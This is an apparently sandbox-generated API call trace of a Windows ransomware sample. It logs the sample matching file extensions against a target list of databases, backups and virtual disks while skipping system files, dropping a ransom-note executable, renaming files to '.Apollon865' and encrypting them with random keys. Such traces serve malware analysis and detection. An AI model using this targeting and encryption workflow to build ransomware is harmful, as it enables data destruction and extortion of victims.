	[0045.876] lstrlenW (lpString="dbf") returned 3
	[0045.876] lstrcmpiW (lpString1="FSD", lpString2="dbf") returned 1
	[0045.877] lstrlenW (lpString="mdf") returned 3
	[0045.877] lstrcmpiW (lpString1="FSD", lpString2="mdf") returned -1
	[0045.877] lstrlenW (lpString="mdb") returned 3
	[0045.877] lstrcmpiW (lpString1="FSD", lpString2="mdb") returned -1
	[0045.877] lstrlenW (lpString="sql") returned 3
	[0045.877] lstrcmpiW (lpString1="FSD", lpString2="sql") returned -1
	[0045.877] lstrlenW (lpString="sqlite") returned 6
	[0045.877] lstrcmpiW (lpString1="8}.FSD", lpString2="sqlite") returned -1
	[0045.877] lstrlenW (lpString="sqlite3") returned 7
	[0045.877] lstrcmpiW (lpString1="58}.FSD", lpString2="sqlite3") returned -1
	[0045.877] lstrlenW (lpString="sqlitedb") returned 8
	[0045.877] lstrcmpiW (lpString1="658}.FSD", lpString2="sqlitedb") returned -1
	[0045.877] lstrlenW (lpString="xml") returned 3
	[0045.877] lstrcmpiW (lpString1="FSD", lpString2="xml") returned -1
	[0045.877] lstrlenW (lpString="$er") returned 3
	[0045.877] lstrcmpiW (lpString1="FSD", lpString2="$er") returned 1
	[0045.877] lstrlenW (lpString="4dd") returned 3
	[0045.877] lstrcmpiW (lpString1="FSD", lpString2="4dd") returned 1
	[0045.877] lstrlenW (lpString="4dl") returned 3
	[0045.877] lstrcmpiW (lpString1="FSD", lpString2="4dl") returned 1
	[0045.877] lstrlenW (lpString="^^^") returned 3
	[0045.877] lstrcmpiW (lpString1="FSD", lpString2="^^^") returned 1
	[0045.877] lstrlenW (lpString="abs") returned 3
	[0045.877] lstrcmpiW (lpString1="FSD", lpString2="abs") returned 1
	[0045.877] lstrlenW (lpString="abx") returned 3
	[0045.877] lstrcmpiW (lpString1="FSD", lpString2="abx") returned 1
	[0045.877] lstrlenW (lpString="accdb") returned 5
	[0045.877] lstrcmpiW (lpString1="}.FSD", lpString2="accdb") returned -1
	[0045.877] lstrlenW (lpString="accdc") returned 5
	[0045.877] lstrcmpiW (lpString1="}.FSD", lpString2="accdc") returned -1
	[0045.877] lstrlenW (lpString="accde") returned 5
	[0045.877] lstrcmpiW (lpString1="}.FSD", lpString2="accde") returned -1
	[0045.877] lstrlenW (lpString="accdr") returned 5
	[0045.878] lstrcmpiW (lpString1="}.FSD", lpString2="accdr") returned -1
	[0045.878] lstrlenW (lpString="accdt") returned 5
	[0045.878] lstrcmpiW (lpString1="}.FSD", lpString2="accdt") returned -1
	[0045.878] lstrlenW (lpString="accdw") returned 5
	[0045.878] lstrcmpiW (lpString1="}.FSD", lpString2="accdw") returned -1
	[0045.878] lstrlenW (lpString="accft") returned 5
	[0045.878] lstrcmpiW (lpString1="}.FSD", lpString2="accft") returned -1
	[0045.878] lstrlenW (lpString="adb") returned 3
	[0045.878] lstrcmpiW (lpString1="FSD", lpString2="adb") returned 1
	[0045.878] lstrlenW (lpString="adb") returned 3
	[0045.878] lstrcmpiW (lpString1="FSD", lpString2="adb") returned 1
	[0045.878] lstrlenW (lpString="ade") returned 3
	[0045.878] lstrcmpiW (lpString1="FSD", lpString2="ade") returned 1
	[0045.878] lstrlenW (lpString="adf") returned 3
	[0045.878] lstrcmpiW (lpString1="FSD", lpString2="adf") returned 1
	[0045.878] lstrlenW (lpString="adn") returned 3
	[0045.878] lstrcmpiW (lpString1="FSD", lpString2="adn") returned 1
	[0045.878] lstrlenW (lpString="adp") returned 3
	[0045.878] lstrcmpiW (lpString1="FSD", lpString2="adp") returned 1
	[0045.878] lstrlenW (lpString="alf") returned 3
	[0045.878] lstrcmpiW (lpString1="FSD", lpString2="alf") returned 1
	[0045.878] lstrlenW (lpString="ask") returned 3
	[0045.878] lstrcmpiW (lpString1="FSD", lpString2="ask") returned 1
	[0045.878] lstrlenW (lpString="btr") returned 3
	[0045.878] lstrcmpiW (lpString1="FSD", lpString2="btr") returned 1
	[0045.878] lstrlenW (lpString="cat") returned 3
	[0045.878] lstrcmpiW (lpString1="FSD", lpString2="cat") returned 1
	[0045.878] lstrlenW (lpString="cdb") returned 3
	[0045.878] lstrcmpiW (lpString1="FSD", lpString2="cdb") returned 1
	[0045.878] lstrlenW (lpString="ckp") returned 3
	[0045.878] lstrcmpiW (lpString1="FSD", lpString2="ckp") returned 1
	[0045.878] lstrlenW (lpString="cma") returned 3
	[0045.879] lstrcmpiW (lpString1="FSD", lpString2="cma") returned 1
	[0045.879] lstrlenW (lpString="cpd") returned 3
	[0045.879] lstrcmpiW (lpString1="FSD", lpString2="cpd") returned 1
	[0045.879] lstrlenW (lpString="dacpac") returned 6
	[0045.879] lstrcmpiW (lpString1="8}.FSD", lpString2="dacpac") returned -1
	[0045.879] lstrlenW (lpString="dad") returned 3
	[0045.879] lstrcmpiW (lpString1="FSD", lpString2="dad") returned 1
	[0045.879] lstrlenW (lpString="dadiagrams") returned 10
	[0045.879] lstrcmpiW (lpString1="25658}.FSD", lpString2="dadiagrams") returned -1
	[0045.879] lstrlenW (lpString="daschema") returned 8
	[0045.879] lstrcmpiW (lpString1="658}.FSD", lpString2="daschema") returned -1
	[0045.879] lstrlenW (lpString="db-journal") returned 10
	[0045.879] lstrcmpiW (lpString1="25658}.FSD", lpString2="db-journal") returned -1
	[0045.879] lstrlenW (lpString="db-shm") returned 6
	[0045.879] lstrcmpiW (lpString1="8}.FSD", lpString2="db-shm") returned -1
	[0045.879] lstrlenW (lpString="db-wal") returned 6
	[0045.879] lstrcmpiW (lpString1="8}.FSD", lpString2="db-wal") returned -1
	[0045.879] lstrlenW (lpString="dbc") returned 3
	[0045.879] lstrcmpiW (lpString1="FSD", lpString2="dbc") returned 1
	[0045.879] lstrlenW (lpString="dbs") returned 3
	[0045.879] lstrcmpiW (lpString1="FSD", lpString2="dbs") returned 1
	[0045.879] lstrlenW (lpString="dbt") returned 3
	[0045.879] lstrcmpiW (lpString1="FSD", lpString2="dbt") returned 1
	[0045.879] lstrlenW (lpString="dbv") returned 3
	[0045.879] lstrcmpiW (lpString1="FSD", lpString2="dbv") returned 1
	[0045.879] lstrlenW (lpString="dbx") returned 3
	[0045.879] lstrcmpiW (lpString1="FSD", lpString2="dbx") returned 1
	[0045.879] lstrlenW (lpString="dcb") returned 3
	[0045.879] lstrcmpiW (lpString1="FSD", lpString2="dcb") returned 1
	[0045.879] lstrcmpiW (lpString1="FSD", lpString2="dct") returned 1
	[0045.879] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="FSF-CTBL.FSF" | out: lpString1="FSF-CTBL.FSF") returned="FSF-CTBL.FSF"
	[0045.880] lstrlenW (lpString="FSF-CTBL.FSF") returned 12
	[0045.880] lstrlenW (lpString="Apollon865") returned 10
	[0045.880] lstrcmpiW (lpString1="F-CTBL.FSF", lpString2="Apollon865") returned 1
	[0045.880] lstrlenW (lpString=".dll") returned 4
	[0045.880] lstrcmpiW (lpString1="FSF-CTBL.FSF", lpString2=".dll") returned 1
	[0045.880] lstrlenW (lpString=".lnk") returned 4
	[0045.880] lstrcmpiW (lpString1="FSF-CTBL.FSF", lpString2=".lnk") returned 1
	[0045.880] lstrlenW (lpString=".ini") returned 4
	[0045.880] lstrcmpiW (lpString1="FSF-CTBL.FSF", lpString2=".ini") returned 1
	[0045.880] lstrlenW (lpString=".sys") returned 4
	[0045.880] lstrcmpiW (lpString1="FSF-CTBL.FSF", lpString2=".sys") returned 1
	[0045.880] lstrlenW (lpString="FSF-CTBL.FSF") returned 12
	[0045.880] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player"
	[0045.880] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e08 | out: hHeap=0x580000) returned 1
	[0045.880] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0045.880] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player") returned 66
	[0045.880] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player"
	[0045.880] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.880] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.886] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.886] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x336c9fd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x336c9fd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.886] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.886] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.886] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.886] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x336c9fd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x336c9fd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.886] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.886] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.886] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.886] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.887] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf59b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="Apollon865.txt.exe") returned 1
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2=".") returned 1
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="..") returned 1
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="windows") returned -1
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="bootmgr") returned 1
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="temp") returned -1
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="pagefile.sys") returned -1
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="boot") returned 1
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="ids.txt") returned -1
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="ntuser.dat") returned -1
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="perflogs") returned -1
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2="MSBuild") returned -1
	[0045.887] lstrlenW (lpString="CurrentDatabase_372.wmdb") returned 24
	[0045.887] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\*") returned 68
	[0045.887] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="CurrentDatabase_372.wmdb" | out: lpString1="CurrentDatabase_372.wmdb") returned="CurrentDatabase_372.wmdb"
	[0045.887] lstrlenW (lpString="CurrentDatabase_372.wmdb") returned 24
	[0045.887] lstrlenW (lpString="Apollon865") returned 10
	[0045.887] lstrcmpiW (lpString1="e_372.wmdb", lpString2="Apollon865") returned 1
	[0045.887] lstrlenW (lpString=".dll") returned 4
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2=".dll") returned 1
	[0045.887] lstrlenW (lpString=".lnk") returned 4
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2=".lnk") returned 1
	[0045.887] lstrlenW (lpString=".ini") returned 4
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2=".ini") returned 1
	[0045.887] lstrlenW (lpString=".sys") returned 4
	[0045.887] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb", lpString2=".sys") returned 1
	[0045.887] lstrlenW (lpString="CurrentDatabase_372.wmdb") returned 24
	[0045.887] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.Apollon865") returned 102
	[0045.887] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb.apollon865"), dwFlags=0x1) returned 1
	[0045.888] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0045.888] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1069056) returned 1
	[0045.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3660020
	[0045.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0045.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0045.889] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf678) returned 1
	[0045.889] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0045.889] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0045.889] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x105300, lpName=0x0) returned 0x150
	[0045.894] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x105300) returned 0x2a80000
	[0046.014] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0046.014] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0046.014] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0046.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0046.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0046.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0046.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0046.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.015] UnmapViewOfFile (lpBaseAddress=0x2a80000) returned 1
	[0046.038] CloseHandle (hObject=0x150) returned 1
	[0046.038] CloseHandle (hObject=0x15c) returned 1
	[0046.042] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0046.042] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0046.043] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3660020 | out: hHeap=0x580000) returned 1
	[0046.051] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x336c9fd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x336c9fd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.052] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.052] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2cf33a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf33a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1106c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1
	[0046.053] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.054] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="Apollon865.txt.exe") returned 1
	[0046.054] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2=".") returned 1
	[0046.054] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="..") returned 1
	[0046.055] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="windows") returned -1
	[0046.056] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="bootmgr") returned 1
	[0046.056] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="temp") returned -1
	[0046.056] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="pagefile.sys") returned -1
	[0046.056] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="boot") returned 1
	[0046.057] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="ids.txt") returned 1
	[0046.057] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="ntuser.dat") returned -1
	[0046.058] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="perflogs") returned -1
	[0046.058] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2="MSBuild") returned -1
	[0046.059] lstrlenW (lpString="LocalMLS_3.wmdb") returned 15
	[0046.060] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 91
	[0046.060] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="LocalMLS_3.wmdb" | out: lpString1="LocalMLS_3.wmdb") returned="LocalMLS_3.wmdb"
	[0046.061] lstrlenW (lpString="LocalMLS_3.wmdb") returned 15
	[0046.063] lstrlenW (lpString="Apollon865") returned 10
	[0046.063] lstrcmpiW (lpString1="MLS_3.wmdb", lpString2="Apollon865") returned 1
	[0046.064] lstrlenW (lpString=".dll") returned 4
	[0046.064] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2=".dll") returned 1
	[0046.064] lstrlenW (lpString=".lnk") returned 4
	[0046.065] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2=".lnk") returned 1
	[0046.075] lstrlenW (lpString=".ini") returned 4
	[0046.075] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2=".ini") returned 1
	[0046.075] lstrlenW (lpString=".sys") returned 4
	[0046.075] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2=".sys") returned 1
	[0046.076] lstrlenW (lpString="LocalMLS_3.wmdb") returned 15
	[0046.076] lstrlenW (lpString="bak") returned 3
	[0046.076] lstrcmpiW (lpString1="mdb", lpString2="bak") returned 1
	[0046.076] lstrlenW (lpString="ba_") returned 3
	[0046.076] lstrcmpiW (lpString1="mdb", lpString2="ba_") returned 1
	[0046.076] lstrlenW (lpString="dbb") returned 3
	[0046.077] lstrcmpiW (lpString1="mdb", lpString2="dbb") returned 1
	[0046.077] lstrlenW (lpString="vmdk") returned 4
	[0046.077] lstrcmpiW (lpString1="wmdb", lpString2="vmdk") returned 1
	[0046.077] lstrlenW (lpString="rar") returned 3
	[0046.077] lstrcmpiW (lpString1="mdb", lpString2="rar") returned -1
	[0046.078] lstrlenW (lpString="zip") returned 3
	[0046.078] lstrcmpiW (lpString1="mdb", lpString2="zip") returned -1
	[0046.078] lstrlenW (lpString="tgz") returned 3
	[0046.078] lstrcmpiW (lpString1="mdb", lpString2="tgz") returned -1
	[0046.079] lstrlenW (lpString="vbox") returned 4
	[0046.079] lstrcmpiW (lpString1="wmdb", lpString2="vbox") returned 1
	[0046.079] lstrlenW (lpString="vdi") returned 3
	[0046.079] lstrcmpiW (lpString1="mdb", lpString2="vdi") returned -1
	[0046.080] lstrlenW (lpString="vhd") returned 3
	[0046.080] lstrcmpiW (lpString1="mdb", lpString2="vhd") returned -1
	[0046.081] lstrlenW (lpString="vhdx") returned 4
	[0046.081] lstrcmpiW (lpString1="wmdb", lpString2="vhdx") returned 1
	[0046.081] lstrlenW (lpString="avhd") returned 4
	[0046.082] lstrcmpiW (lpString1="wmdb", lpString2="avhd") returned 1
	[0046.082] lstrlenW (lpString="db") returned 2
	[0046.082] lstrcmpiW (lpString1="db", lpString2="db") returned 0
	[0046.083] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.Apollon865") returned 93
	[0046.083] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb.apollon865"), dwFlags=0x1) returned 1
	[0046.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0046.090] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=69740) returned 1
	[0046.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0046.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0046.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0046.091] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf678) returned 1
	[0046.092] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0046.092] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0046.092] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11370, lpName=0x0) returned 0x148
	[0046.093] MapViewOfFile (hFileMappingObject=0x148, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11370) returned 0x120000
	[0046.109] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf678) returned 1
	[0046.109] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0046.109] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0046.109] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.110] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.110] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0046.110] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.110] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
